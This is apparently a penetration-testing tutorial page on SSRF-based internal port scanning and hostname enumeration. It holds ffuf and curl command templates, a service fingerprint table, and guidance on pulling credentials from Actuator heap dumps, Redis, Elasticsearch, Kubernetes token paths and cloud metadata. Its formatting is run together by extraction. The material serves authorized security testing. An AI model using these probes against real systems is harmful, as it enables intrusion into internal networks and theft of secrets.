Internal discovery
The application becomes your scanner. Use the differential between “port open” and “port closed” responses (length, status, time, error message) to enumerate internal services - then enumerate hostnames against the discovered ports.
# Length-based port scanffuf -w ports.txt:PORT -u "http://<TARGET>/?url=http://127.0.0.1:PORT" -fs <CLOSED_LENGTH>
# Regex-based when response shape is more complexffuf -w ports.txt:PORT -u "http://<TARGET>/?url=http://127.0.0.1:PORT" -fr 'Connection refused'
# Time-based when length is constantffuf -w ports.txt:PORT -u "http://<TARGET>/?url=http://127.0.0.1:PORT" -mt 5Success indicator: a small set of ports returns responses that differ from the closed-port baseline.
Step 1 - Establish the closed-port baseline
Section titled “Step 1 - Establish the closed-port baseline”Pick a port nothing should be listening on (high random number works) and record what the response looks like.
curl -i "http://<TARGET>/?url=http://127.0.0.1:1"Capture three things:
- Response length (
Content-Lengthheader or actual body length) - Distinctive content -
Connection refused,Errno 111,[Errno 61], etc. - Response time - how long the closed-port request takes
This baseline tells ffuf how to filter. Without it you can’t distinguish hits from noise.
Step 2 - Build the port wordlist
Section titled “Step 2 - Build the port wordlist”Common services first, full sweep if needed:
# Quick (top services)cat > ports-quick.txt <<EOF21222325538011013914344344533063389543259005984637980008009808084439000909092001121127017EOF
# Full sweep (slower)seq 1 65535 > ports-full.txtStart with the quick list. If it returns nothing, fall back to the full sweep.
Step 3 - Run ffuf with the right filter
Section titled “Step 3 - Run ffuf with the right filter”The filter approach depends on what differs between open and closed.
-
Length-based - closed and open ports return responses of different sizes:
Terminal window ffuf -w ports-quick.txt:PORT \-u "http://<TARGET>/?url=http://127.0.0.1:PORT" \-fs 30 \-t 40-fs 30filters out responses with size 30 (the closed-port size from your baseline).-t 40runs 40 concurrent requests. -
Regex-based - closed responses have a recognizable error string:
Terminal window ffuf -w ports-quick.txt:PORT \-u "http://<TARGET>/?url=http://127.0.0.1:PORT" \-fr 'Connection refused|Errno 111|timed out'Regex filtering is more reliable than length when responses include the requested URL (so length varies with port number).
-
Word-count based - when length and regex aren’t reliable but word count is stable:
Terminal window ffuf -w ports-quick.txt:PORT \-u "http://<TARGET>/?url=http://127.0.0.1:PORT" \-fw 3 -
Time-based - used when the application returns a fixed response regardless of internal port state, but takes longer when it actually connects:
Terminal window # Filter responses faster than 2 seconds (closed = fast fail)ffuf -w ports-quick.txt:PORT \-u "http://<TARGET>/?url=http://127.0.0.1:PORT" \-mt 2Less reliable due to network jitter; use as fallback.
Step 4 - Hostname enumeration
Section titled “Step 4 - Hostname enumeration”Once you have ports, find the actual services. Internal hostnames matter - many apps bind to a hostname, not 127.0.0.1, and Vhost-aware servers route differently per Host header.
Common internal hostnames
Section titled “Common internal hostnames”cat > hosts.txt <<EOFlocalhost127.0.0.1127.10.0.0.0internalinternal.localapiapi.internaladminadmin.internalauthbackenddbrediscachequeuemetadatahost.docker.internalkubernetes.default.svcEOFIterate hosts against discovered ports
Section titled “Iterate hosts against discovered ports”# Confirmed open: 8080, 5000ffuf -w hosts.txt:HOST \ -u "http://<TARGET>/?url=http://HOST:8080" \ -fs <CLOSED_SIZE>internal.app.local, host.docker.internal, and kubernetes.default.svc are the high-yield targets in modern engagements. The first because it’s a common convention; the second because Docker Desktop creates it; the third because Kubernetes service discovery reaches the API server from any pod.
CIDR sweeps
Section titled “CIDR sweeps”When you know the internal subnet:
# AWS VPCs typically 10.0.0.0/16 or 172.31.0.0/16# Generate IPspython3 -c "import ipaddress; [print(ip) for ip in ipaddress.ip_network('10.0.0.0/24')]" > internal-ips.txt
ffuf -w internal-ips.txt:IP \ -u "http://<TARGET>/?url=http://IP:80" \ -fs <CLOSED_SIZE>Avoid /16 sweeps unless you’re committed - that’s 65k requests at 40 concurrent = 25+ minutes minimum. Start with the gateway (/24) of whatever IP the target itself appears to have.
Identifying services on open ports
Section titled “Identifying services on open ports”Once you’ve found “port 5000 is open,” figure out what it is.
# Banner grabcurl -i "http://<TARGET>/?url=http://127.0.0.1:5000/"
# Common service paths?url=http://127.0.0.1:5000/ # root?url=http://127.0.0.1:5000/health # k8s/Docker health checks?url=http://127.0.0.1:5000/metrics # Prometheus?url=http://127.0.0.1:5000/actuator # Spring Boot?url=http://127.0.0.1:5000/_status # generic status?url=http://127.0.0.1:5000/api/ # REST APIs?url=http://127.0.0.1:5000/admin # admin panelsService fingerprints
Section titled “Service fingerprints”| Response contains | Service |
|---|---|
Server: Werkzeug | Python Flask |
X-Powered-By: Express | Node.js Express |
Server: gunicorn | Python (Flask/Django/FastAPI behind gunicorn) |
Server: nginx with X-Powered-By: PHP | LEMP stack |
JSON with actuator/, mappings, env | Spring Boot Actuator (high value - see below) |
+OK Redis (gopher needed) | Redis 6379 |
# Memcached (telnet-style) | Memcached 11211 |
mongo, _id in JSON | MongoDB API or admin panel |
Elasticsearch, _cluster, _cat/indices | Elasticsearch 9200 |
Couchbase, query?statement | Couchbase 8093 |
High-value internal services
Section titled “High-value internal services”These are worth special attention because they frequently lead to RCE or credential dumps:
- Spring Boot Actuator at
/actuatoror/admin/actuator-/envreveals env vars including DB creds,/heapdumpis a memory dump (extract creds withjhatorMAT) - Redis at 6379 - unauthenticated by default, RCE via cron/SSH-key/master-slave replication
- Elasticsearch at 9200 - frequently unauthenticated internally, full data dump via
/_search?size=10000 - Kubernetes API at the cluster-internal IP, port 443 or 6443 - service token mounted at
/var/run/secrets/kubernetes.io/serviceaccount/tokenif running in a pod - AWS metadata at
169.254.169.254- see Cloud metadata - Docker socket at
/var/run/docker.sock(file path, not network) -unix:schema, RCE via container creation
Common failure modes
Section titled “Common failure modes”- All ports return identical responses. Application normalizes or wraps every response. Use time-based detection instead, or look for tiny differences (one byte of padding, one different header).
127.0.0.1blocked but discovered ports show inlocalhostrequests. Filter blocks the literal IP. Use hostnamelocalhost, or filter bypass techniques.- Discovered port returns
200 OKempty body. Service is alive but responds with nothing forGET /. TryPOST /, common paths (/api,/health,/admin), or service-specific paths from the fingerprints table above. - ffuf returns far too many hits. Filter is too loose. Add additional filters (
-fs N -fr regex), narrow the wordlist, or check whether the application returns a redirect that has size matching your filter accidentally. - Scan triggers WAF rate limiting. SSRF probes are 1 outbound per request - at 40/sec that’s a lot of internal connections from one source. Throttle (
-rate 10) or scan in batches. Some WAFs detect the internal connection pattern, not the inbound rate.
Internal discovery via SSRF is essentially nmap by proxy. The differences from real nmap: you can’t see ICMP, you don’t get OS fingerprinting, and every probe is an HTTP round-trip slow. The advantage: you’re inside the firewall. A 30-minute SSRF port scan beats a 30-day-blocked external nmap.
The killer combo is SSRF → Spring Boot Actuator → /heapdump → credentials. If you find an internal Java service responding on an unusual port, always probe /actuator/heapdump first; modern Spring Boot leaves it open by default in dev profiles, and the heap dump frequently contains active session tokens, DB connection strings, and other plaintext secrets.